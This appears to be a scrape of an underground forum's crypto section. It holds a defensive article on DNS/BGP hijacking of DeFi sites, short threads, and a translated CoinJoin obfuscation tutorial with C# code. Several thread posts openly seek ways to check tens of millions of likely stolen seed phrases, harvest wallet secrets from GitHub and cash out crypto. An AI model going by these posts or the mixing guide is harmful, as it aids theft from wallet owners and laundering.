Если же использовать только скрипт мониторинга изменений фронтенда, можно пропустить не только BGP hijacking, но и DNS hijacking. Во-первых, это может произойти из-за приоритета IPv6 над IPv4 (если в DNS hijacking изменяются только DNS-записи для IPv4) (см. рис. 12). Во-вторых, из-за отсутствия опции --no-dns-cache будет происходить обращение к устаревшим закэшированным записям DNS.

Рекомендации разработчикам по усилению эффективности защиты​

Разработчикам необходимо следить за выпуском новых сертификатов, изменениями DNS-записей, а также за изменениями целостности файлов фронтенда в части адресов контрактов. Последнее нужно делать учитывая приоритет IPv6 над IPv4. Т.е. нужно 2 отдельных скрипта: один для IPv6, другой - для IPv4 (для wget это опции --inet4-only и --inet6-only).

Кроме того, разработчикам следует выбрать DNS-регистратора, поддерживающего CAA-запись. В частности, необходимо использовать CAA-запись с заданием account, если поставщик SSL-сертификата предоставляет такую возможность (см. RFC6844). В этом случае злоумышленник не сможет выпустить сертификат (если только у него не получится изменить CAA- запись). Эта мера обеспечивает защиту от атак с использованием техники BGP hijacking.

Рекомендуется выбирать DNS-регистратора, поддерживающего расширенные возможности защиты домена. Например, у некоторых регистраторов есть собственные SOC-команды, отслеживающие различные атаки, в том числе попытки BGP hijacking, и несанкционированное изменение записей DNS. При попытке смены параметров регистратор инициирует связь с владельцем по нескольким каналам.

В случае несанкционированного выпуска сертификата необходимо немедленно принять меры по его отзыву. Невыполнение этого предоставляет злоумышленнику дополнительное время на атаку. Эта рекомендация связана с кэшированием записей DNS как в браузерах, так и на роутерах (в т.ч. домашних) и DNS-серверах. Например, для домена itnan.ru одно из значений времени обновления записи в кэше DNS, полученное от DNS-сервера Яндекса (77.88.8.8) через утилиту dig, составляет около 20 часов (см. рис. 13).
Рисунок 13. Время обновления записи для домена itnan.ru — 74 086 секунд (около 20 часов)
Рисунок 13. Время обновления записи для домена itnan.ru — 74 086 секунд (около 20 часов)

Кроме того, даже малое время значений времени обновления записи в кэше DNS может привести к существенным задержкам распространения обновления для DNS записей (до нескольких дней). Подробнее об этом можно почитать в статьях:

Предположим, что владельцы домена стали жертвой атаки DNS hijacking, в ходе которой атакующие выпустили сертификат для домена. В какой-то момент владельцы домена обнаружили атаку и восстановили записи DNS, но не стали отзывать выпущенный злоумышленником сертификат. Это приведет к тому, что некоторые пользователи в течение нескольких часов (или даже нескольких дней) будут попадать на сайт злоумышленника. Браузер не будет предупреждать их о не доверенном сертификате. Очистка локального кэша DNS в операционной системе пользователя не решит проблему. Даже если значение [TTL](https://ip- calculator.ru/blog/ask/kak-pravilno-nastroit-ttl-domena/) для записи DNS изначально было небольшим (например, несколько минут), все равно необходимо отозвать сертификат. Кроме того, получив доступ к панели управления DNS- записями, злоумышленники могут увеличить значение параметра TTL.

Помимо этого, существуют атаки, способные подменить запись о доменном имени. Например, DNS cache poisoning; периодически появляется информация об уязвимостях этого типа в сетевом оборудовании. Например, в 2019 году подобная уязвимость была найдена в операционной системе RouterOS 6.45.6, которая используется в роутерах MikroTik. Также возможна атака «человек посередине» на пользователей, которые не используют DNSSEC.

Для проверки выпуска новых сертификатов можно сделать следующее: сначала получить текущую хеш-сумму записей о сертификатах для домена (вместо DOMAIN вставить свое доменное имя). Лучше использовать формат JSON для уменьшения объема получаемых данных.

Code:Copy to clipboard

wget -O DOMAIN -nv "https://crt.sh/?CN=DOMAIN&output=json" 1>&2 2>/dev/null | md5sum DOMAIN >DOMAIN.md5

Далее необходимо сравнить значения с эталоном:

Code:Copy to clipboard

wget -O DOMAIN -nv "https://crt.sh/?CN=DOMAIN&output=json" 1>&2 2>/dev/null | md5sum DOMAIN|md5sum -c DOMAIN.md5

У этого способа есть нюансы. Во-первых, сервис crt.sh может периодически не работать. Во-вторых, опыт показал, что при выпуске нового сертификата на сайте появляется 2 записи. Сначала появляется запись типа precertificate и только через некоторое время, в дополнение к precertificate, появляется новая запись типа leaf certificate. Возможно, лучшим решением будет независимый мониторинг записей CT Logs.

Кроме того, нужно своевременно обновлять серверное ПО при угрозах несанкционированного изменения данных фронтенда или доступа к сертификатам HTTPS. Также отзывать сертифкаты при появлении угроз их компрометации. Для этого требуются специалисты, которые имеют навыки инвентаризации используемого серверного ПО и анализа угроз эксплуатации этого ПО. Например, разные уязвимости CVE-2014-0160 и CVE-2019-9621 приводят в т.ч. к компрометации сертификата (в первом случае из-за чтения памяти процесса, во втором - из-за возможности доступа к файлам сервера). Обновление ПО для устранения уязвимости не отменяет факта возможной утечки сертификата. Если для осуществления атаки не потребуется заново выпускать сертификат (из-за компрометации), задача атакующего упростится. Кроме того, методы мониторинга выпуска новых сертификатов пропустят такую атаку. Поэтому специалисты помимо обновления ПО в таких случаях должны в обязательном порядке отзывать сертификаты. По этой же причине разумно срок действия сертификата ограничить несколькими месяцами.

автор Игорь Агиевич aka shanker
Cпециалист по безопасности распред реестров в Positive Technologies

Crypto Flashing
ID: 67686ad7b4103b69df3797db
Thread ID: 67094
Created: 2022-05-16T17:36:44+0000
Last Post: 2023-10-19T22:26:59+0000
Author: TheStash
Replies: 5 Views: 541

Anyone heard of crypto flashing? bitcoin flashing? if anyone has any information or knows someone who does it please share with us

Автоматизация выплат з/п в крипте
ID: 67686ad7b4103b69df379841
Thread ID: 89575
Created: 2023-06-03T09:30:38+0000
Last Post: 2023-06-12T09:45:44+0000
Author: Darius Clementi
Replies: 8 Views: 541

Приветствую, есть ли какие-то инструменты, программы, фичи для автоматизации подобного процесса, когда при наличии внушительного штата сотрудников можно, условно говоря, заранее подготовить все кошельки, адреса, настроить таймер, благодаря которому в определенное время средства могут быть переведены на счета сотрудников?

Работаем с массовым поиском ваших запросов на гитхабе многопоточным софтом
ID: 67686ad7b4103b69df3797cb
Thread ID: 101871
Created: 2023-11-08T11:04:35+0000
Last Post: 2023-11-13T08:41:19+0000
Author: moloko333
Replies: 7 Views: 540

Есть софт для поиска информации на гитхабе по любым запросам и выкачивания репозиториев, по заданному формату (.sol, .env) если есть знающие, как можно обработать смарт контракты, кошельки и другую полезную инфу, рассмотрю предложения совместной работы по вашим запросам.

Мультивалютный кошелек без блоков
ID: 67686ad7b4103b69df3799b7
Thread ID: 59730
Created: 2021-12-05T17:58:32+0000
Last Post: 2021-12-13T20:25:43+0000
Author: wildo
Replies: 11 Views: 538

Есть подобное в природе? Интересует наличие битка, эфира, монеро для хранения и переводов.
Метамаск пробовал - не хочет работать на тор браузере.

800+ материалов по Web3, Crypto, DEV, OpSEC и OSINT тематике: масштабный разбор CIA Officer`a
ID: 67686ad7b4103b69df3798a6
Thread ID: 81187
Created: 2023-02-03T13:45:29+0000
Last Post: 2023-02-09T18:47:45+0000
Author: Palem58
Replies: 6 Views: 537

Всем привет дорогие друзья,представляю вашему вниманию статью,которая думаю многим в чем то поможет и каждый найдет в ней для себя что то интересное. https://teletype.in/@maxycrypto/summary_officercia#Rjcf читатайте в телетайпе) Кому помог,буду благодарен за фидбэк) Всех поцеловал!

Вопрос к израильтянам
ID: 67686ad7b4103b69df3796bb
Thread ID: 123905
Created: 2024-10-01T15:00:55+0000
Last Post: 2024-10-02T08:23:17+0000
Author: ShadowMan
Replies: 1 Views: 537

Парни, как вы выводите крипту на карту в шекелях?
Может обменники или еще как. Какую карту попроще студенту(студенческая виза, не гражданин) открыть для этих дел.
Заранее благодарен :)

как принять крипту
ID: 67686ad7b4103b69df37972d
Thread ID: 115034
Created: 2024-05-21T11:03:26+0000
Last Post: 2024-05-21T13:43:22+0000
Author: yarek
Replies: 13 Views: 537

как принять крипту анонимно? кошелек, биржи, колд кошелек

seed фразы
ID: 67686ad7b4103b69df379709
Thread ID: 118375
Created: 2024-07-07T18:05:47+0000
Last Post: 2024-07-07T19:22:04+0000
Author: Exlips
Replies: 3 Views: 535

Всем привет! У меня такой вопрос, если человек получил сид-фразу от стороннего кошелька условно через брут и свистнул всю крипту с него, то по сути ведь предъявить по закону этому человеку владелец кошеля ничего не может, так как сидка есть и у одного, и у другого, а кто истинный владелец в таком случаи не установишь

Майнинг TON
ID: 67686ad7b4103b69df379759
Thread ID: 111124
Created: 2024-03-23T04:21:01+0000
Last Post: 2024-03-28T08:58:21+0000
Author: AlwaysP
Replies: 2 Views: 534

Вопрос. Можно ли майнить ТОНы? Кто занимался?

Обфускация в блокчейн биткоин'off
ID: 67686ad7b4103b69df379878
Thread ID: 85102
Created: 2023-04-03T02:37:41+0000
Last Post: 2023-04-05T13:38:27+0000
Author: вавилонец
Prefix: Статья
Replies: 1 Views: 533

logo.png
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS

Транзакции Bitcoin и Litecoin считаются "анонимными", поскольку не требуют идентификации. Однако, как только адрес биткоина раскрывается, все связанные с ним транзакции становятся прозрачными. В этой статье рассказывается о том, как модель Unspent Transaction Output (UTXO) используется обеими криптовалютами для отслеживания исторических объемов данных, и как анализ блокчейна может быть использован для идентификации сторон, участвующих в транзакции. Кроме того, в статье рассматриваются методы обфускации, которые могут усложнить отслеживание транзакций в блокчейне для посторонних.

Биткойн - неуправляемое казино.

" Не уверен, что "накачка и сброс" биткоина Элоном Маском является технически незаконной или мошенничеством с ценными бумагами. Но очень подозрительно что тот, кто якобы совершает революцию в области энергопотребления и внедряет инновации в космические путешествия, по идее, должен быть выше этого. "

- Арпит Гупта (@arpitrage) 17 мая 2021 г.

Протокол Биткойн был настолько популярен, что им заинтересовались широкие слои населения. К сожалению, большинство из этих людей пришли не для того, чтобы воспользоваться преимуществами одноранговой псевдо-анонимной денежной системы, а для того, чтобы извлечь выгоду из ее неустойчивой стоимости и нерегулируемой торговли, которая часто связана с "накачкой и сбросом" или другими теневыми схемами в попытке быстро заработать. Такая популярность привела к высокому росту транзакций, но блокчейн Биткойна способен обрабатывать только 1 МБ данных транзакций в каждом блоке, который добывается примерно каждые 10 минут в зависимости от сети. Транзакции могут транслироваться за плату, так как майнеры предпочитают наиболее выгодные транзакции, что приводит к высоким комиссиям из-за постоянной потребности пользователей в транзакциях. Средний размер транзакции составляет около 224 байт, то есть блок размером 1 МБ (1.048.576 байт) может содержать примерно 4681 транзакцию, которые будут обработаны в среднем за 10 минут, или около 7,8 транзакций каждую секунду. Ограниченность размера блока является причиной того, что плата за транзакции стала такой высокой за последние несколько лет. На момент написания статьи комиссия за транзакцию составляет около 102 сатоши за байт, тогда как в старые добрые времена я мог получить всего 3-4 сатоши за байт. В среднем комиссия изменилась с всего лишь 0,02$ до 0,65$. В неудачный день вы можете обнаружить, что платите несколько (десятков) долларов за то, чтобы вас взяли майнеры.

Поприветствуйте Litecoin​

Биткойн-сообщество придумало несколько интересных технологий, чтобы справиться с этой проблемой масштабируемости. Некоторые из этих решений - SegWit, Taproot и Lightning Network. Однако мое "решение" этой проблемы заключается в том, чтобы просто использовать другой блокчейн. Я выбрал проект Litecoin, это один из первых форков Bitcoin, и, похоже, он получил хорошую поддержку в сообществах. Пока что я буду придерживаться биткоинов как средства стоимости и использовать Litecoin в качестве промежуточного звена для денежных операций.

Актуальная проблема

На протяжении всего исследования я буду смешивать Bitcoin и Litecoin, поскольку они основаны на одной и той же кодовой базе и имеют одну и ту же проблему. Основное различие заключается в том, что Litecoin - это не биткоин, так как Litecoin осуществляют транзакции на блокчейне Litecoin. Проблемы, с которыми я сталкиваюсь в связи с псевдоанонимностью , остаются теми же, поскольку технология блокчейн в основе своей одинакова для обеих цепочек. На самом деле проблема, с которой я сталкиваюсь, связана с тем, как биткойн работает в качестве одноранговой "наличности". Все прозрачно, поскольку публично зарегистрировано в блокчейне. Причина, по которой это все еще "анонимно ", заключается в том, что для начала использования протокола Bitcoin не требуется KYC или других видов идентификации. Все, что требуется, - это немного криптографии для генерации открытого ключа (адреса) и закрытого ключа, и вы готовы получать и создавать транзакции Bitcoin без каких-либо вопросов. Все происходит анонимно до тех пор, пока вы не раскроете свой Bitcoin-адрес. Другими словами, если вы отправляете или получаете средства, сторона, с которой вы проводите транзакцию, узнает ваш адрес и может посмотреть все в блокчейне, чтобы увидеть ваши исторические данные, и даже может продолжить отслеживать ваши адреса для получения новых данных. (например, чтобы узнать, как или когда вы отправляли средства).

О транзакции в двух словах

Биткойн и Litecoin используют модель Unspent Transaction Output (UTXO), которая использует "входы" и "выходы" для отслеживания исторических объемов данных. Идея заключается в том, что один адрес может получить несколько выходов с определенной суммой внутри них. Эти данные могут быть использованы только один раз, именно поэтому существует " возвратный адрес". Допустим, у вас есть 10 биткойнов, и вы хотите отправить Бобу 1 биткойн. Для этого вы отправите 1 Биткойн Бобу, а остальные 9 отправите обратно себе, так как вы должны израсходовать всю стоимость данного выхода. Теперь вы и Боб владеете новым уникальным значением, содержащим 9 биткойнов и 1 биткойн соответственно. Вывод 10 биткойнов, использованный в транзакции, теперь помечен как "потраченный" и больше не может быть использован в дальнейших транзакциях. (если только вы не проведете атаку "двойной траты").

Анализ блокчейна

ltc_transact_normal.png
Изображение иллюстрирует поток монет в средних транзакциях, подобных вышеупомянутой, где две стороны совершают сделки с Litecoins. Хорошей практикой является создание нового адреса и использование его в качестве обратного адреса, чтобы сбить с толку любого, кто рассматривает транзакцию без контекста. Например, посторонний человек не сможет отличить " возвратный адрес" и получателя, однако можно догадаться, что была проведена транзакция на сумму либо 1 Litecoin, либо 9 Litecoin, а остаток находится у предыдущего владельца под новым адресом.

Рассматривая только одну транзакцию, можно сделать лишь предположение, что отправитель может владеть ни единым, ни одним, ни двумя адресами. Чтобы получить более точный результат, мы должны проанализировать больше данных о транзакциях и выполнить прием, известный как "анализ консолидации UTXO".

Идея анализа консолидации заключается в том, что если у вас нет необходимого количества в одном выводе, вам придется использовать какой-то иной вывод. Например, допустим, у Боба есть 1 Litecoin, и он хочет отправить 2 Litecoin в книжный интернет-магазин. Для этого Боб может использовать 1 Litecoin, которым он уже владеет, но ему понадобится еще один источник, чтобы восполнить недостающий 1 Litecoin.

ltc_transact_normal_two.png
Предположим, что Боб сообщил нам о новой книге, которую он хочет приобрести в Интернете за 2 Litecoin. Посмотрев на поток монет новой транзакции, мы видим, что Боб использовал наш 1 Litecoin и еще 1 Litecoin с неизвестного адреса (названного Unknown 1). Теперь мы можем предположить, что Боб уже владел 1 Litecoin до получения 1 Litcoin, который мы отправили, и теперь мы можем провести анализ, чтобы узнать, откуда взялся первый Litecoin Боба. (Дальнейший анализ Litecoin Боба невозможен, поскольку все Litecoin были потрачены на покупку книги, и мы остаемся в тупике).

Обфускация​

Боб может не беспокоиться о своей недавней покупке в книжном магазине, однако он не хочет, чтобы кто-то знал, сколько у него Litecoins. У Боба есть свои причины, не задавайте вопросов о причинах Боба. Боб говорит, что нормальные люди не кричат о том, сколько денег у них в их (традиционных) банках, Боб также любит быть скромным, но, к сожалению, блокчейн создан не для этого.
Чтобы скрыть данные о своих транзакциях в Blockchain, Боб будет использовать так называемые микшеры. Идея микшеров заключается в том, что ваши монеты смешиваются с другими участниками, и через некоторое время вы (надеюсь) получаете монеты обратно, но с рандомизированными транзакциями, чтобы запутать анализ блокчейна.
К сожалению, у Боба, как и у многих других, есть серьезные проблемы с доверием. Боб не собирается отправлять деньги на неизвестную онлайн-платформу в надежде получить свои деньги обратно. Вся система блокчейн была создана для того, чтобы не вызывать доверия, поскольку транзакции с несколькими подписями

Что такое CoinJoin​

Оригинальная концепция CoinJoin была предложена пользователем 'gmaxwell' на форумах Bitcointalk. Идея заключается в том, что традиционная транзакция "один к одному" заменяется на "несколько к нескольким". Возьмем предыдущий пример, где только вы совершали денежные операции, и добавим к ним второго человека, Алису. Алиса сказала, что ей нужно отправить 1 Litecoin со своего адреса "X" на другой адрес "Y".
Мы перенесемся в прошлое и вместо того, чтобы отправить Бобу 1 Litecoin в транзакции "один на один", мы проведем транзакцию с несколькими подписями. Вы отправите Бобу 1 из 10 Litecoin, но в то же время Алиса отправит свой 1 из 2,5 Litecoin на адрес, который она указала как 'X'. Алисе не нужно доверять вам, поскольку вы владеете только 1 (из 2) ключами для завершения транзакции, поэтому Алиса получит частично подписанную транзакцию и (по желанию) расшифрует ее, чтобы проверить, куда отправляются ее деньги. Когда она убедится, что подписала транзакцию и подписала ее последней, она передаст ее в сеть Litecoin.

ltc_multisig_transcat.png

Изображение иллюстрирует транзакцию с несколькими подписями, в которой участвовали и вы, и Алиса, чтобы отправить 1 Litecoin Бобу, 1 Litecoin X, 1,5 Litecoin в ответ Алисе и 9 Litecoin в ответ вам. Даже без меток можно увидеть оба обратных адреса, однако транзакции на 1 Litecoin Бобу или X неразличимы, если не наклеивать никаких меток. Делая выходы с одинаковой суммой (1 Litecoin в данном случае), уже невозможно увидеть, кто чем владеет.
Отправила ли Алиса 1 Litecoin другому человеку? Или Алиса владеет 1 X? А для третьей стороны, которая ничего не знает о Бобе, кто кому отправил этот 1 Litecoin?

Разбор реального примера

На приведенном ниже изображении показан реальный пример, опубликованный в блокчейне Биткойна. Два адреса, владеющие 0,00012 BTC и 0,00015 BTC, совершили транзакции на 4 перевода. Два из этих переводов одинаковы (0,0001 BTC), а два других уникальны, поскольку, скорее всего, являются обратными адресами обоих участников.

real_coin_join_example.png

Интересно отметить, что сумма не складывается.

Total input (0.0001200 + 0.0001500): 0.0001700
Total output (0.0001134 + 0.0001501): 0.0001635

Первое, что мы замечаем, - это несоответствие общего выхода общему входу. В отличие от нашего теоретического примера, разница между общим входом и общим выходом есть, так как она уходит на комиссию за транзакцию.

0.0001000 + 0.0000134 = 0.0001134
0.0001000 + 0.0000501 = 0.0001501

Кроме того, мы видим, что результаты тоже не сходятся. Мы можем предположить, что 2 адреса, участвовавшие в транзакции, получают по 2 выхода, что соответствует 4 выходам. Если мы возьмем адрес 0.0001 и сложим его с обратным адресом, то увидим заметную разницу.

Предполагается, что владелец, отправляющий 0.0001500, теперь владеет 0.0001501, мы просто не знаем, какой из выходов 0.0001000 принадлежит ему. Предполагается, что владелец, посылающий 0.0001200, теперь владеет 0.0001134, что намного меньше. Скорее всего, потому что 0,0001200 используется для оплаты сетевых сборов, а во-вторых, платит (очень низкую) комиссию от 0,0000001 до 0,0001500 за смешивание активов.

Создание CoinJoin

Теперь, когда у нас есть полное понимание того, что нужно делать, мы можем сразу же перейти к нашей IDE и начать строить решение, основанное на этой идее. Как вы, возможно, уже знаете, я большой поклонник C# и поэтому буду использовать C# в сочетании с популярной библиотекой NBitcoin.
Забегая вперед, я создал на GitHub репозиторий MultiSigTransaction, который содержит несколько вспомогательных классов для добавления, удаления и обновления так называемых "участников", которые могут быть назначены на "группу", созданную "GroupManager".
Используя эти вспомогательные классы, мы можем легко создать транзакцию с несколькими подписями, используя приведенный ниже код.

C#:Copy to clipboard

// Create a group that agrees on 600 satoshi output
GroupManager GroupManager = new GroupManager();
decimal amount = 600;
Group testGroup = GroupManager.CreateNewGroup("test", amount);
 
// Add 2 participants
Participant Alice = new Participant("Alice");
testGroup.AddParticipant(Alice);
 
Participant Bob = new Participant("Bob");
testGroup.AddParticipant(Bob);
 
// Alice configuration
Alice.UpdateMainAddress("bc1qrk259cv8m7hgcejqyw2g8772ngfmc6n32hu4gx");      // Alice send addr
Alice.UpdateReturnAddress("bc1qrk259cv8m7hgcejqyw2g8772ngfmc6n32hu4gx");    // Alice recv addr (same as main for now)
Alice.AddOutputAddress("3LFaWZ1zoxzAXkG94E5Hw5PfjnhQz2aeMR", amount);       // Alice sends 600 sats to target
bool readyA = Alice.Ready(true);
if (!readyA)
{
    Console.WriteLine("Alice failed getting ready");
    return;
}
 
// Bob configuration
Bob.UpdateReturnAddress("bc1qq2g23nufzygkgc78rzpsghmx0egvfr4wkf6n3u");
Bob.UpdateMainAddress("bc1qq2g23nufzygkgc78rzpsghmx0egvfr4wkf6n3u");
Bob.AddOutputAddress("3H9LV7w89mqWP4HTjGtRamvbdhRr72KXXh", amount);
bool readyB = Bob.Ready(true);
if (!readyB)
{
    Console.WriteLine("Bob failed getting ready");
    return;
}
 
bool canStart = testGroup.CanMultiSig();
if (!canStart)
{
    Console.WriteLine("Something wrong on group signing!");
    return;
}
 
// start mult-ish
testGroup.StartMiltiSig();
 
bool isFinished = testGroup.IsFinishedSigning();
if(!isFinished)
{
    Console.WriteLine("Failed finalising the group");
}
 
// The current raw (unsigned) transaction
string rawTranscationHex = testGroup.CurrentTransaction.ToHex();
Console.WriteLine(testGroup.DebugLog);
 
Console.WriteLine("Done!");

Я не буду вдаваться в подробности, поскольку здесь много специфического для C#, но после выполнения этого фрагмента переменная rawTranscationHex должна дать нам следующее:

Code:Copy to clipboard

0100000002a7ab1a4cd06fed32f231936cb205caa8a323ffdb3dfe8682ab3a5e33e218a88e0100000000ffffffffa7ab1a4cd06fed32f231936cb205caa8a323ffdb3dfe8682ab3a5e33e218a88e0300000000ffffffff03580200000000000017a914cb9ac6d00534e4595960b77259678296c9094b1887580200000000000017a914a984323e2d9b262fda7694cdeddcef3ac3ce204c87b00e0000000000001600140290a8cf8911116463c71883045f667e50c48eae00000000

Сначала это кажется довольно скучным, но мы можем расшифровать это с помощью команды decoderawtransaction в кошельке Bitcoin Core, чтобы получить следующий вывод JSON

JSON:Copy to clipboard

{
  "txid": "b5e757cb0a310cce731f184388cac1cf6f82f032067bcda7e108391810e05a71",
  "hash": "b5e757cb0a310cce731f184388cac1cf6f82f032067bcda7e108391810e05a71",
  "version": 1,
  "size": 187,
  "vsize": 187,
  "weight": 748,
  "locktime": 0,
  "vin": [
    {
      "txid": "8ea818e2335e3aab8286fe3ddbff23a3a8ca05b26c9331f232ed6fd04c1aaba7",
      "vout": 1,
      "scriptSig": {
        "asm": "",
        "hex": ""
      },
      "sequence": 4294967295
    },
    {
      "txid": "8ea818e2335e3aab8286fe3ddbff23a3a8ca05b26c9331f232ed6fd04c1aaba7",
      "vout": 3,
      "scriptSig": {
        "asm": "",
        "hex": ""
      },
      "sequence": 4294967295
    }
  ],
  "vout": [
    {
      "value": 0.00000600,
      "n": 0,
      "scriptPubKey": {
        "asm": "OP_HASH160 cb9ac6d00534e4595960b77259678296c9094b18 OP_EQUAL",
        "hex": "a914cb9ac6d00534e4595960b77259678296c9094b1887",
        "address": "3LFaWZ1zoxzAXkG94E5Hw5PfjnhQz2aeMR",
        "type": "scripthash"
      }
    },
    {
      "value": 0.00000600,
      "n": 1,
      "scriptPubKey": {
        "asm": "OP_HASH160 a984323e2d9b262fda7694cdeddcef3ac3ce204c OP_EQUAL",
        "hex": "a914a984323e2d9b262fda7694cdeddcef3ac3ce204c87",
        "address": "3H9LV7w89mqWP4HTjGtRamvbdhRr72KXXh",
        "type": "scripthash"
      }
    },
    {
      "value": 0.00003760,
      "n": 2,
      "scriptPubKey": {
        "asm": "0 0290a8cf8911116463c71883045f667e50c48eae",
        "hex": "00140290a8cf8911116463c71883045f667e50c48eae",
        "address": "bc1qq2g23nufzygkgc78rzpsghmx0egvfr4wkf6n3u",
        "type": "witness_v0_keyhash"
      }
    }
  ]
}

Мы видим, что выделенные участки показывают количество Биткойнов, отправляемых на соответствующие выходные адреса. Для завершения транзакции каждый участник должен подписать транзакцию. Я делаю это с помощью команды Bitcoin Core walletpassphrase "mypassword" 60, чтобы разблокировать кошелек, а затем signrawtransactionwithwallet, чтобы подписать транзакцию.

В данном случае я владею обоими входами и могу подписать транзакцию самостоятельно, результат приведен ниже.

Code:Copy to clipboard

01000000000102a7ab1a4cd06fed32f231936cb205caa8a323ffdb3dfe8682ab3a5e33e218a88e0100000000ffffffffa7ab1a4cd06fed32f231936cb205caa8a323ffdb3dfe8682ab3a5e33e218a88e0300000000ffffffff03580200000000000017a914cb9ac6d00534e4595960b77259678296c9094b1887580200000000000017a914a984323e2d9b262fda7694cdeddcef3ac3ce204c87b00e0000000000001600140290a8cf8911116463c71883045f667e50c48eae02473044022074c999c6a4f758d4c841507feaa91014066e2dc6177e1c11362573d5019d272402203646e1e781b12912a017c81fc349bf4287789a739f14f2aa4bf5ce3064442153012102fbded889a1f26d5b362977ddeb508c7a586cdaca8893b82ca4b9be67cf7da9e002473044022023ce79f494e6e78a67e3c47269da0db414381e8b8b81bf403ad74046c24c285e022023b02c0405015e6f8b2d07dfde0125b3e8eea40f15b4621f193cb38bbc52727a012103c48926b53c84327780f935c574525906e6de0c87981177d5fa7a953e0e0c248e00000000

Эти байты могут выглядеть бессмысленными, но эта транзакция была подписана, и любой, включая вас, может взять подписанную транзакцию и распространить ее по сети. (например, этот сетевой tx pusher может передать любую подписанную транзакцию для вас). Не стесняйтесь делать это, поскольку я совершил эту транзакцию в образовательных целях. Другими словами, плата за транзакцию устанавливается очень низкой, поэтому она не будет подхвачена сетью и либо "застрянет" в мемпуле, либо будет ждать повторной трансляции.
В реалистичном варианте транзакция сначала была бы создана с разумными комиссионными за транзакции, а затем транслировалась бы последним пользователем, подписавшим ее. После этого сеть подхватит ее в любом из новых добытых блоков, и транзакции будут завершены.

Заключение

Мы рассмотрели, как псевдоанонимность не соответствует потребностям повседневных пользователей, и рассмотрели транзакции с несколькими подписями, чтобы иметь объединенную группу участников для совершения денежных операций. Каждый участник должен согласиться отправить точно такую же сумму, чтобы сохранить транзакцию в тайне. Этот тип транзакции часто называют "CoinJoin", и он доказал свою эффективность при условии, что участники следуют надлежащей практике (например, не объединяют монеты), чтобы сохранить свои монеты в тайне. В реалистичном сценарии транзакция сначала создается с разумными транзакционными сборами, а затем транслируется последним пользователем, который ее подписывает. После этого сеть подхватит ее в любом из новых добытых блоков, и транзакции будут завершены.
С учетом сказанного, похоже, что единственной проблемой остается поиск других людей, желающих принять участие в такой совместной транзакции, и соблюдение определенного набора правил, чтобы не ослабить замаскированную транзакцию.

Вопрос по форумным обменникам
ID: 67686ad7b4103b69df37976e
Thread ID: 110267
Created: 2024-03-12T17:07:25+0000
Last Post: 2024-03-12T23:32:08+0000
Author: student
Replies: 3 Views: 531

стало интересно. Сам так не делал и не буду, просто вот спросить захотел. Если договорились о сделке поменять условно эфир на доллар. Обменник в лс скидывает адрес, а я спустя 4 часа оплачиваю, а эфириум упал на 10%. О фиксировании курса речь не шла. То что делать обменнику и мне. Если он выплатит мне по текущему курсу - это честно? Или я могу потребовать вернуть сумму просто и все.

Появилась новая крипто-соцсеть — Ton.Place
ID: 67686ad7b4103b69df37998d
Thread ID: 63947
Created: 2022-03-07T17:15:36+0000
Last Post: 2022-03-14T15:36:37+0000
Author: btchunter
Replies: 7 Views: 530

Появилась новая социальная сеть — Ton.Place

Это социальная сеть которая платит вам крипту за просмотры, подписчиков, посты и активность.
Работает пока в браузере, соц.сесть только вышла на рынок, ей всего месяц, но уже имеет большой потенциал.

fa4cd375b0f6cc4c1d4233366f3c4c2f (1).jpg

Есть бесплатная и платная подписка. Бесплатная ограниченная, а вот платная открывает полный доступ. Сеть работает на базе криптовалюты TON. Полная подписка стоит 2TON в месяц. Если ты имеешь хорошую активность ( А это сделать не сложно, т.к конкуренция почти отсутствует, в силу новизны сети ) то разработчики платят тебе не плохие деньги. Зарегистрироваться нужно через телеграмм.

Это же только старт. Всё настроят, но постепенно! Интересно, что есть новый подход к контенту.

Если зарегистрируйтесь по ссылке , то получите сразу одну монету TONcoin
https://vk.cc/cbBBF0

Пока что раздают за просто так, а курс монеты почти 2$.

Как получить последние 500 к транз в сети ETH?
ID: 67686ad7b4103b69df3796d4
Thread ID: 122396
Created: 2024-09-09T18:10:38+0000
Last Post: 2024-09-10T09:35:27+0000
Author: gustav66
Replies: 3 Views: 527

Приветствую, господа эксперты подскажите как выгрузить n колличество транзакций последних списком ?
Без поднятия собственной ноды

HOW TO - EXCHANGE BTC in RUSSIA
ID: 67686ad7b4103b69df3798d7
Thread ID: 78379
Created: 2022-12-18T18:39:31+0000
Last Post: 2022-12-19T17:29:27+0000
Author: go4million
Replies: 8 Views: 527

Hey Guys :)

My Brother lives in Russia. He is also a Russian.

I send him Money over Western Union but because of the War Western Union Quit the work in Russia.

Now I want to send him Bitcoins and that he can Exchange it in Russia. But he dont know so much about Bitcoins and how to Exchange.

Can some of you give me a tip, how he can exchange bitcoins in Russia to Rubel ??

Сидки, чекинг, вопросы
ID: 67686ad7b4103b69df37976c
Thread ID: 110262
Created: 2024-03-12T15:54:12+0000
Last Post: 2024-03-14T12:40:48+0000
Author: lisa99
Replies: 7 Views: 527

Вопросы самого общего плана, подскажите пожалуйста мне и другим нубам.

  1. Как вы проверяете свои\приватные seeds по всем блокчейнам и деривациям?
    Если речь прям о привате-привате то это ..до 100К наверное.
    Варианты - купить готовый чекер типа fructose, написать свое, заказать кодеру, чекать по 3-40 сетям, остальное- шлак.

Одать кому-то на проверку- это в моих глазах 0.

  1. все что предлагается на рынке, насколько я поняла - неполное по чейнам и разного рода слоям над чейнами + эйрдропы
    Чтобы там не писали в рекламе своих сервисов. Это так=)?

  2. NFT - мусор вперемежку с огрызками коллекций. Нет ни одного нормального онлайн сервиса, который бы показывал все NFT обрасывая шлак
    debank отделяет спам от норм, но не видит все.
    Это верно?

  3. владельцы могут еще пользоваться сидками, или столкнувшись со сливом забросили? Как часто есть смысл сканировать всю базу?

  4. Если у меня около 50 млн мнемоник, не может же быть автовывод на каждой?

  5. airdrops как то можно спланировать по транзакциям адреса, и есть ли смысл это делать? То есть как проверить возможность получения норм NFT?

------
просьба в личку свои коммерческие услуги не предлагать. Когда понадобится, я запрошу их в другом разделе.

Как чекать и выводить крипту?
ID: 67686ad7b4103b69df379885
Thread ID: 84309
Created: 2023-03-22T18:55:47+0000
Last Post: 2023-03-23T16:49:49+0000
Author: Rogue0M
Replies: 4 Views: 526

Добрый вечер, пользователи. Хотел бы узнать, где возможно найти мануалы/приватные ресурсы по отработке крипты, а именно: кошельки, биржи и тд.
Возможно, кто-то продает такие знания, то хотелось бы узнать контакты.

Не судите строго, просто хочу изучить данную сферу!

Blinks gg becoming new Shiba or Doge ?
